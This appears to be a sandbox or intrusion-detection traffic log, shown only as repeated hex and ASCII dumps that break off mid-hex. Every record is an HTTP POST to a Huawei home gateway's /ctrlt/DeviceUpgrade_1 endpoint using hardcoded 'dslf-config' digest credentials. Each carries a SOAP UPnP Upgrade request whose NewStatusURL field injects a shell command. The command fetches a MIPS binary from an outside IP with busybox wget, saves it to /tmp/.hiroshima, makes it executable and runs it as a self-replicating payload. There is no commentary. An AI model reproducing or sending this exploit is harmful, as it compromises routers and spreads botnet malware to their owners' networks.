75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 